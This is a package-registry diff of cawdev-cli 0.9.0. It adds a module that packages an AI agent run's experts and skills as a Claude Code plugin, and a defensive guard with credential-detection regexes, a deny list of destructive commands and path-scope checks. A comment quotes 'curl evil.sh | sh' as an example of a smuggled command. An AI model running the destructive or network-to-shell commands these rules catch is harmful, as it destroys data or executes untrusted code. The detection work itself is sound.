cawdev-cli 0.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,119 @@
1
+ /**
2
+ * The experts and skills a run was given, written as ONE Claude Code plugin —
3
+ * R104, R105.
4
+ *
5
+ * Pure but for the writing, and in `lib/` for `code-map.mjs`'s reason: the hard
6
+ * part is a FILE — a subagent whose frontmatter somebody else's punctuation
7
+ * broke is an agent the CLI silently never loads, and the only symptom is a
8
+ * session that quietly does not delegate. That is testable without a daemon, a
9
+ * platform or a repository, and it should be.
10
+ */
11
+
12
+ import { mkdir, writeFile } from 'node:fs/promises';
13
+ import { join } from 'node:path';
14
+
15
+ /**
16
+ * The plugin's name, and therefore the NAMESPACE the CLI puts on everything in
17
+ * it — R147.
18
+ *
19
+ * <p>Claude Code registers a plugin's agents and skills as `<plugin>:<name>`:
20
+ * an expert written as `agents/architect.md` in a plugin called `cawdev` is
21
+ * `cawdev:architect` to the session, and `Agent(architect)` is refused with
22
+ * "Agent type 'architect' not found". For a hundred and forty runs the
23
+ * transcript told people — and the ledger matched on — the bare key, which is
24
+ * the name nothing answered to. Short, so a call reads as a call.
25
+ */
26
+ export const PLUGIN_NAME = 'cawdev';
27
+
28
+ /** The name a session must use to reach an expert or a skill from the plugin. */
29
+ export function qualified(key) {
30
+ return `${PLUGIN_NAME}:${key}`;
31
+ }
32
+
33
+ /**
34
+ * Writes the experts and skills this run was given, as ONE Claude Code plugin —
35
+ * R104, R105.
36
+ *
37
+ * <p>Into a directory this daemon owns, and never into the checkout. That is
38
+ * the whole reason it is done this way. The agent is spawned with
39
+ * `--setting-sources ''` on purpose: without it a session silently inherits
40
+ * whatever the operator has allowed themselves, and a repository's own
41
+ * `.claude/` would be able to widen what a run may do — which makes R51's
42
+ * ceiling decorative. Writing agents into the working copy to get them loaded
43
+ * would reopen exactly that door, and dirty the tree on the way through.
44
+ *
45
+ * A plugin directory is the mechanism that needs neither: `--plugin-dir` loads
46
+ * `agents/` and `skills/` from a path, and leaves every setting source off.
47
+ *
48
+ * Returns the directory, or null when the project turned nothing on — in which
49
+ * case no flag is passed at all, rather than an empty plugin being loaded.
50
+ */
51
+ export async function writeRunPlugin(directory, expertAgents, skills) {
52
+ if (!expertAgents.length && !skills.length) {
53
+ return null;
54
+ }
55
+ const root = join(directory, PLUGIN_NAME);
56
+ await mkdir(join(root, '.claude-plugin'), { recursive: true });
57
+ await writeFile(join(root, '.claude-plugin', 'plugin.json'), JSON.stringify({
58
+ name: PLUGIN_NAME,
59
+ description: 'What this project turned on in cawdev.',
60
+ version: '1.0.0',
61
+ }, null, 2));
62
+
63
+ for (const agent of expertAgents) {
64
+ await mkdir(join(root, 'agents'), { recursive: true });
65
+ await writeFile(join(root, 'agents', `${agent.key}.md`), agentFile(agent));
66
+ }
67
+ for (const skill of skills) {
68
+ await mkdir(join(root, 'skills', skill.key), { recursive: true });
69
+ await writeFile(join(root, 'skills', skill.key, 'SKILL.md'), skillFile(skill));
70
+ }
71
+ return root;
72
+ }
73
+
74
+ /**
75
+ * A subagent file, frontmatter rebuilt rather than passed through.
76
+ *
77
+ * <p>The platform stores the body and the four fields separately, so this
78
+ * writes the four it knows and nothing else. A field the file originally
79
+ * carried and cawdev does not store is DROPPED, deliberately: passing through
80
+ * frontmatter nobody parsed would be handing the CLI keys cawdev never looked
81
+ * at, out of a repository somebody else wrote.
82
+ */
83
+ export function agentFile(agent) {
84
+ const head = ['---', `name: ${agent.key}`, `description: ${yamlScalar(agent.description)}`];
85
+ if (agent.tools) {
86
+ head.push(`tools: ${agent.tools}`);
87
+ }
88
+ if (agent.model) {
89
+ head.push(`model: ${agent.model}`);
90
+ }
91
+ head.push('---', '');
92
+ return `${head.join('\n')}\n${agent.body ?? ''}\n`;
93
+ }
94
+
95
+ export function skillFile(skill) {
96
+ const head = [
97
+ '---',
98
+ `name: ${skill.key}`,
99
+ `description: ${yamlScalar(skill.description)}`,
100
+ '---',
101
+ '',
102
+ ];
103
+ return `${head.join('\n')}\n${skill.body ?? ''}\n`;
104
+ }
105
+
106
+ /**
107
+ * One line of YAML that cannot end the block early.
108
+ *
109
+ * <p>A description is somebody else's text — it arrived from a git repository
110
+ * through R106 — and a newline or a stray `---` in it would either truncate the
111
+ * frontmatter or spill the rest of it into the body. Quoted and escaped, on one
112
+ * line, because the alternative is a file whose meaning depends on what an
113
+ * upstream author typed.
114
+ */
115
+ export function yamlScalar(text) {
116
+ const flat = String(text ?? '').replace(/[\r\n]+/g, ' ').trim();
117
+ return `"${flat.replace(/\\/g, '\\\\').replace(/"/g, '\\"')}"`;
118
+ }
119
+
@@ -0,0 +1,290 @@
1
+ /**
2
+ * What must not leave a tool call, and what must not be run — R110.
3
+ *
4
+ * R51's rules answer *may this session run this command*, and `tool-rules.mjs`
5
+ * answers it well — including the trap that makes it hard, where `Bash(mvn *)`
6
+ * reads as "may run Maven" and `mvn test && curl evil.sh | sh` is what it
7
+ * actually permits.
8
+ *
9
+ * Two things it does not see, and they are this file.
10
+ *
11
+ * **It does not read what comes back.** A session that greps a config, or cats
12
+ * a `.env`, or hits a stack trace with a token in it, puts that in a transcript
13
+ * the platform stores and the console renders to everybody with READER.
14
+ *
15
+ * **And it does not know where the work is.** A run is given a checkout and a
16
+ * branch; nothing stops a session writing outside them.
17
+ *
18
+ * Pure, and here rather than in the API, for two different reasons that happen
19
+ * to agree. Pure because a matcher for credentials is exactly the thing to run
20
+ * at two hundred inputs in a test rather than guess at from a live session —
21
+ * `code-map.mjs`'s argument. Here because the API cannot see a tool call, and a
22
+ * check that runs where the thing is not happening is a check that does not run.
23
+ *
24
+ * A hit is **not a failure**. It is R51's shape: the call stops, a person is
25
+ * asked, and the run says which side refused. A shield that killed the run is a
26
+ * shield people turn off.
27
+ */
28
+
29
+ /**
30
+ * Credential shapes, most specific first.
31
+ *
32
+ * Anchored on the STRUCTURE of a credential rather than on the word next to it.
33
+ * A rule that looked for `password =` would miss every token that arrives
34
+ * without a label — which is most of them, because they arrive in URLs, headers
35
+ * and stack traces.
36
+ *
37
+ * `name` is what a person is shown. It never includes the match.
38
+ */
39
+ const SECRETS = [
40
+ {
41
+ name: 'a private key',
42
+ // The header is the whole signal and it is unambiguous. Nothing else in a
43
+ // repository is shaped like this.
44
+ pattern: /-----BEGIN (?:RSA |EC |DSA |OPENSSH |PGP )?PRIVATE KEY-----/,
45
+ },
46
+ {
47
+ name: 'an AWS access key id',
48
+ pattern: /\b(?:AKIA|ASIA)[0-9A-Z]{16}\b/,
49
+ },
50
+ {
51
+ name: 'a GitHub token',
52
+ pattern: /\bgh[pousr]_[A-Za-z0-9]{36,}\b/,
53
+ },
54
+ {
55
+ name: 'a Slack token',
56
+ pattern: /\bxox[abposr]-[A-Za-z0-9-]{10,}\b/,
57
+ },
58
+ {
59
+ name: 'an Anthropic API key',
60
+ pattern: /\bsk-ant-[A-Za-z0-9_-]{20,}\b/,
61
+ },
62
+ {
63
+ name: 'an OpenAI API key',
64
+ pattern: /\bsk-(?:proj-)?[A-Za-z0-9]{32,}\b/,
65
+ },
66
+ {
67
+ name: 'a Google API key',
68
+ pattern: /\bAIza[0-9A-Za-z_-]{35}\b/,
69
+ },
70
+ {
71
+ name: 'a JSON web token',
72
+ // Three base64url segments. The `eyJ` prefix is a `{"` header, which is what
73
+ // makes this distinguishable from any other dotted string.
74
+ pattern: /\beyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b/,
75
+ },
76
+ {
77
+ name: 'a password in a connection URL',
78
+ // The one place a password is reliably positional rather than labelled.
79
+ pattern: /\b[a-z][a-z0-9+.-]*:\/\/[^\s:/@]+:[^\s/@]{3,}@/i,
80
+ },
81
+ {
82
+ name: 'a bearer token',
83
+ pattern: /\bauthorization\s*:\s*bearer\s+[A-Za-z0-9._~+/-]{16,}/i,
84
+ },
85
+ {
86
+ name: "cawdev's own run token",
87
+ // Ours, and the one this codebase is most likely to leak into its own
88
+ // transcript: `cawdr_` is minted per run and appears in an environment.
89
+ pattern: /\bcawdr_[A-Za-z0-9_-]{16,}\b/,
90
+ },
91
+ ];
92
+
93
+ /**
94
+ * Commands that are usually fine and occasionally catastrophic — R110.
95
+ *
96
+ * "Usually fine" is the point. Nobody needs protecting from a command that is
97
+ * always wrong; they need protecting from the one they run twenty times a week
98
+ * and once, at three in the morning, in the wrong directory.
99
+ *
100
+ * Deliberately SHORT. A long list is one that gets turned off wholesale, and
101
+ * every entry here has to earn a person's time when it stops them.
102
+ */
103
+ const DESTRUCTIVE = [
104
+ {
105
+ // Both flags, in one cluster. The alternation is GROUPED, and the first
106
+ // version of this was not: `...[rR]...[fF]|[fF]...[rR]` reads as "an rm with
107
+ // -rf, OR an f followed by an r anywhere at all", which matched the `fr` in
108
+ // `select * from users` and would have stopped every query in the codebase.
109
+ name: 'a recursive delete',
110
+ pattern: /\brm\s+(?:-[a-zA-Z]+\s+)*-[a-zA-Z]*(?:[rR][a-zA-Z]*[fF]|[fF][a-zA-Z]*[rR])/,
111
+ },
112
+ {
113
+ // And the same thing written as two flags: `rm -r -f build`.
114
+ name: 'a recursive delete',
115
+ pattern: /\brm\s+(?:-[a-zA-Z]+\s+)*-[a-zA-Z]*[rR][a-zA-Z]*\s+(?:-[a-zA-Z]+\s+)*-[a-zA-Z]*[fF]/,
116
+ },
117
+ { name: 'a force push', pattern: /\bgit\s+push\b[^\n]*(?:--force(?!-with-lease)|(?<![\w-])-f\b)/ },
118
+ { name: 'a hard reset', pattern: /\bgit\s+reset\s+[^\n]*--hard\b/ },
119
+ { name: 'a branch deletion', pattern: /\bgit\s+(?:branch|push)\b[^\n]*(?:-D\b|--delete\b)/ },
120
+ { name: 'a history rewrite', pattern: /\bgit\s+(?:filter-branch|filter-repo)\b/ },
121
+ { name: 'dropping a table or database', pattern: /\bdrop\s+(?:table|database|schema)\b/i },
122
+ { name: 'a delete with no where clause', pattern: /\bdelete\s+from\s+\w+\s*(?:;|$)/i },
123
+ { name: 'a truncate', pattern: /\btruncate\s+(?:table\s+)?\w+/i },
124
+ { name: 'a disk write', pattern: /\b(?:mkfs|dd)\b[^\n]*\bof=\/dev\// },
125
+ { name: 'a permission reset on a whole tree', pattern: /\bchmod\s+-R\s+777\b/ },
126
+ { name: 'piping the network into a shell', pattern: /\b(?:curl|wget)\b[^\n|]*\|\s*(?:ba|z|k)?sh\b/ },
127
+ ];
128
+
129
+ /** How much of an offending line is shown. See `redact`. */
130
+ const CONTEXT = 40;
131
+
132
+ /**
133
+ * What a piece of text reveals, if anything.
134
+ *
135
+ * Returns the FIRST match only. A result listing every secret in a file would
136
+ * be a result that is itself a catalogue of that file's secrets, which is the
137
+ * failure this exists to prevent, written to a different place.
138
+ *
139
+ * @param text anything a tool produced or is about to run
140
+ * @returns {{name: string, redacted: string}|null}
141
+ */
142
+ export function findSecret(text) {
143
+ if (typeof text !== 'string' || !text) {
144
+ return null;
145
+ }
146
+ for (const { name, pattern } of SECRETS) {
147
+ const found = pattern.exec(text);
148
+ if (found) {
149
+ return { name, redacted: redact(text, found.index, found[0].length) };
150
+ }
151
+ }
152
+ return null;
153
+ }
154
+
155
+ /**
156
+ * Whether a command is one of the ones worth stopping.
157
+ *
158
+ * Reads the WHOLE command string, not its first word. `tool-rules.mjs` already
159
+ * treats a compound command as un-matchable for the opposite reason — it will
160
+ * not let a rule about `mvn` grant `mvn && curl | sh` — and the same shape here
161
+ * means a destructive tail cannot hide behind a harmless head.
162
+ *
163
+ * @returns {{name: string, redacted: string}|null}
164
+ */
165
+ export function findDestructive(command) {
166
+ if (typeof command !== 'string' || !command) {
167
+ return null;
168
+ }
169
+ for (const { name, pattern } of DESTRUCTIVE) {
170
+ const found = pattern.exec(command);
171
+ if (found) {
172
+ return { name, redacted: redact(command, found.index, found[0].length) };
173
+ }
174
+ }
175
+ return null;
176
+ }
177
+
178
+ /**
179
+ * Whether a path is inside the work.
180
+ *
181
+ * The comparison is on RESOLVED paths and on segment boundaries. `/work/repo`
182
+ * must not be read as containing `/work/repo-secrets`, which a `startsWith`
183
+ * alone would — the same mistake `mcp__codegraph` covering
184
+ * `mcp__codegraph-evil__x` would be, and `tool-rules.mjs` refuses it for the
185
+ * same reason.
186
+ *
187
+ * `..` is resolved BEFORE the comparison rather than searched for: a path is
188
+ * outside the checkout because of where it lands, not because of how it is
189
+ * spelled, and a rule that rejected the characters would reject
190
+ * `src/../src/main` while letting a symlink through.
191
+ *
192
+ * @param path an absolute or checkout-relative path the session wants to write
193
+ * @param root the checkout, absolute
194
+ * @param scope optional globs within the root; null means the whole checkout
195
+ */
196
+ export function withinScope(path, root, scope = null) {
197
+ if (typeof path !== 'string' || typeof root !== 'string' || !root) {
198
+ return false;
199
+ }
200
+ const resolved = normalise(path.startsWith('/') ? path : `${root}/${path}`);
201
+ const base = normalise(root);
202
+ if (resolved !== base && !resolved.startsWith(`${base}/`)) {
203
+ return false;
204
+ }
205
+ if (!Array.isArray(scope) || scope.length === 0) {
206
+ return true;
207
+ }
208
+ const relative = resolved === base ? '' : resolved.slice(base.length + 1);
209
+ return scope.some((glob) => matches(relative, glob));
210
+ }
211
+
212
+ /**
213
+ * A path with `.` and `..` resolved, without touching the filesystem.
214
+ *
215
+ * Its own rather than `node:path`'s `resolve`, because that one resolves
216
+ * against the PROCESS's working directory when handed a relative path — and the
217
+ * daemon's cwd is not the checkout. A silent dependence on where the daemon
218
+ * happens to be standing is exactly the bug this function exists to not have.
219
+ */
220
+ function normalise(path) {
221
+ const absolute = path.startsWith('/');
222
+ const out = [];
223
+ for (const part of path.split('/')) {
224
+ if (!part || part === '.') {
225
+ continue;
226
+ }
227
+ if (part === '..') {
228
+ if (out.length && out[out.length - 1] !== '..') {
229
+ out.pop();
230
+ } else if (!absolute) {
231
+ out.push('..');
232
+ }
233
+ continue;
234
+ }
235
+ out.push(part);
236
+ }
237
+ return (absolute ? '/' : '') + out.join('/');
238
+ }
239
+
240
+ /**
241
+ * A glob, supporting `*`, `**` and `?` and nothing else.
242
+ *
243
+ * Deliberately small. A full glob implementation would be a dependency, and the
244
+ * zero-dep constraint is what makes `tools/` a directory somebody can read
245
+ * before running it against their repositories.
246
+ */
247
+ function matches(path, glob) {
248
+ if (typeof glob !== 'string' || !glob) {
249
+ return false;
250
+ }
251
+ // `docs/**` names the directory as well as what is under it. Without this a
252
+ // scope of `docs/**` would refuse a write to `docs` itself, which is a rule
253
+ // that reads as "may write the docs" and behaves as "may not".
254
+ const directory = glob.replace(/\/\*\*$/, '');
255
+ if (directory !== glob && (path === directory || under(path, directory))) {
256
+ return true;
257
+ }
258
+ return under(path, glob);
259
+ }
260
+
261
+ /** Whether a path is the glob, or is inside it. */
262
+ function under(path, glob) {
263
+ const source = glob
264
+ .replace(/[.+^${}()|[\]\\]/g, '\\$&')
265
+ // `**` crosses separators; a single `*` does not. Ordered so the two-star
266
+ // form is consumed before the one-star rule can see half of it.
267
+ .replace(/\*\*/g, '\u0000')
268
+ .replace(/\*/g, '[^/]*')
269
+ .replace(/\u0000/g, '.*')
270
+ .replace(/\?/g, '[^/]');
271
+ return new RegExp(`^${source}$`).test(path) || new RegExp(`^${source}/`).test(path);
272
+ }
273
+
274
+ /**
275
+ * Enough of the line to recognise, with the match itself removed.
276
+ *
277
+ * The redaction is the point and it is easy to get backwards: a block record
278
+ * that carried the secret it blocked would be the failure this file exists to
279
+ * prevent, written to the database this time. So the match is replaced, never
280
+ * truncated — a truncated key is still most of a key.
281
+ */
282
+ export function redact(text, index, length) {
283
+ const from = Math.max(0, index - CONTEXT);
284
+ const to = Math.min(text.length, index + length + CONTEXT);
285
+ const before = text.slice(from, index);
286
+ const after = text.slice(index + length, to);
287
+ return `${from > 0 ? '…' : ''}${before}[redacted]${after}${to < text.length ? '…' : ''}`
288
+ .replace(/\s+/g, ' ')
289
+ .trim();
290
+ }